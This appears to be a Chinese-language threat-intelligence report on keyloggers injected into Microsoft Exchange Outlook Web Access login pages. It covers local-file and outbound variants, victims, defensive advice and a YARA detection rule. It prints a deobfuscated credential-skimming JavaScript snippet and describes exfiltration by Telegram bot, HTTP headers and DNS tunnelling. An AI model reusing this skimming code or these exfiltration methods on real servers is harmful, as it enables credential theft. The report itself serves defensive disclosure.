重点摘要

  • 2024年5月,我们报告了一起涉及向受害微软Exchange服务器登录页注入恶意代码的攻击事件。

  • 在新的调查中,我们发现了多种类型的键盘记录器,主要分为两大类。

  • 到2025年,我们揭露了一系列类似攻击,波及全球25个国家的受害者,涉及我国的大概 10 个。

背景介绍

2024年5月,研究人员首次发现:有攻击者在被入侵的Exchange服务器首页注入了一种未知的键盘记录器。2025年,研究人员,观察到同样的攻击方式再次出现,且原始键盘记录器代码几乎未做修改。通过分析Outlook登录页中的JavaScript代码,并对比受感染页面的源码,团队发现了多处异常,这些异常并不属于标准Exchange Server的认证流程。进一步分析后,发现了更多恶意代码样本。所有发现的键盘记录器大致可以分为两类:

  1. 将收集到的数据保存为本地文件,可被外部访问;

  2. 直接将收集的数据发送到外部服务器。

本地日志型键盘记录器

工作机制如下:

  1. 受害者访问Exchange Server认证页面并输入凭证。

  2. 恶意JavaScript代码读取认证表单数据,并通过XHR请求将数据发送到被攻陷的Exchange服务器上的指定页面(见图2)。

  3. 目标页面源码中包含一个处理函数,负责读取该请求并将数据写入服务器上的文件(见图3)。

  4. 该文件可通过外部网络访问,只有攻击者知道确切位置。

恶意代码通常嵌入在合法的clkLgn认证函数中(见图1),也有情况是放在独立函数中,在数据被发送后才调用clkLgn

图 1:恶意代码嵌入clkLgn函数的例子

图 2:修改后页面发送XHR请求的例子

图 3:页面源码中处理请求的handler函数例子

数据发送方式通常为HTTP请求,既可能通过GET参数(见图4),也可能通过POST请求体。

图 4:利用GET参数的键盘记录器例子

发送XHR请求的目标URL一般为内部页面,这些页面可能本来就是合法页面,被插入了恶意代码,也可能是攻击者单独创建的恶意页面。例如:

  • /owa/auth/lo.aspx

  • /owa/auth/getidtokens.aspx

  • /owa/auth/error.aspx

  • /owa/auth/logon.aspx

  • 其他

恶意代码通常经过混淆(见图5.1、5.2),以下是去混淆后的示例代码(对应图5.2):

var aes = new Date().toLocaleDateString() + "\t" +
document.getElementById("username").value + "\t" +
document.getElementById("password").value;
fetch('', {
  'method': 'POST',
  'body': new URLSearchParams({
    'Aes': btoa(aes)
  })
});

图 5.1:混淆前后的恶意代码

图 5.2:混淆前后的恶意代码

有些变体还会收集用户Cookie、User-Agent等信息(见图6)。

图 6:收集Cookie等数据的恶意代码变体

这种恶意代码为攻击者带来的优势:

  • 数据写入本地文件、通过外部访问,远比直接外联看起来隐蔽,检测难度高。

  • 代码不包含C2服务器通信指令,难被溯源。

  • 攻击者无需固定C2服务器,可任意地点访问窃取的文件,无需协议更新。

外发型键盘记录器

这类窃密工具主要区别体现在以下几个参数:

  • 数据外传方式:攻击者可能自建服务器,也可能利用Telegram Bot(见图7、8)等第三方服务(如Discord等)。如图8,攻击者会用<COMPANY-ID>做区分,标记被窃凭证所属组织。

图 7:使用Telegram Bot发送数据的示例

图 8:为Telegram Bot消息分配标识符

  • 数据变换方式:如将数据封装成JSON,放在POST请求体内(见图9);或放在HTTP Header(见图10),如Salt头(已脱敏)记录Active Directory域名,APIKeyAuthToken分别编码存储账号密码。

  • 通过DNS隧道传输:如图11所示,prepare函数用XOR算法(key为“exchange_default_password”)加密用户数据,再转为16进制,拼接成子域名,结合POST请求外发。

图 9:使用POST请求体发送数据

图 10:通过HTTP Header发送数据

图 11:结合DNS隧道+POST请求发送数据

部分攻击者还会利用开放目录,直接存放窃取的凭证文本文件。见图12。

图 12:攻击者开放目录中的被窃数据文件示例

受害者分布

调查期间,全球25个国家约64个受害者被识别出来。受害服务器以政府机构为主(22台服务器),其次为IT、工业、物流企业。

我国大约 10 个受害者着,自查一下吧,文末有YARA 规则。

利用的漏洞

下图列出了受感染服务器中影响较大的微软产品漏洞。

图 14:受感染服务器存在的微软产品漏洞

这些漏洞被利用,成为攻击者植入恶意代码的入口。但也有被入侵的服务器并未暴露公开漏洞,说明攻击者可能还利用了其他方式。

总结与建议

大量面向互联网开放的Exchange服务器仍未修补高危漏洞。正如本次研究所示,利用这些漏洞的后果之一,就是攻击者可在认证页面长期隐蔽植入键盘记录器,窃取明文凭证。

通过将恶意代码嵌入合法认证页,攻击者能长时间潜伏,悄无声息地收集用户敏感信息。

防御建议如下:

  1. 针对关键对外服务器建立漏洞管理流程,定期升级、监控已知漏洞。

  2. 部署现代Web应用防护系统及恶意流量检测工具。

  3. 在关键服务器上落地信息安全监控。

检测建议

若怀疑Exchange服务器已遭此类攻击绕过安全监控,可参考如下流程:

  • 检查关键认证相关文件完整性,如:C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\logon.aspx

  • 用YARA规则对Exchange Server目录扫描,检测webshell及可疑页面,人工复查被标记文件。也可用公开的YARA规则集。

  • 建议开展溯源调查(compromise assessment),系统性评估自身安全状况。

下方给出了可检测上述恶意页面变体的YARA规则:

rule PTESC_exploit_win_ZZ_Exchange__Keylogger__Javascript {
    strings:
        $anomaly_func_1 = "XMLHttpRequest"
        $anomaly_func_2 = "eval"
        $anomaly_func_3 = "fetch"
        $anomaly_func_4 = "fromCharCode"
        $anomaly_func_5 = "$.ajax"
        $anomaly_func_6 = "atob"

        $credential_string_1 = "user"
        $credential_string_2 = "pass"

        $exclude_strings_1 = "jquery.org/license"
        $exclude_strings_2 = "captcha"
        $exclude_strings_3 = "newrelic"
    condition:
        any of ($anomaly_func_*) and all of ($credential_string_*) and not all of ($exclude_strings_*)
}

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。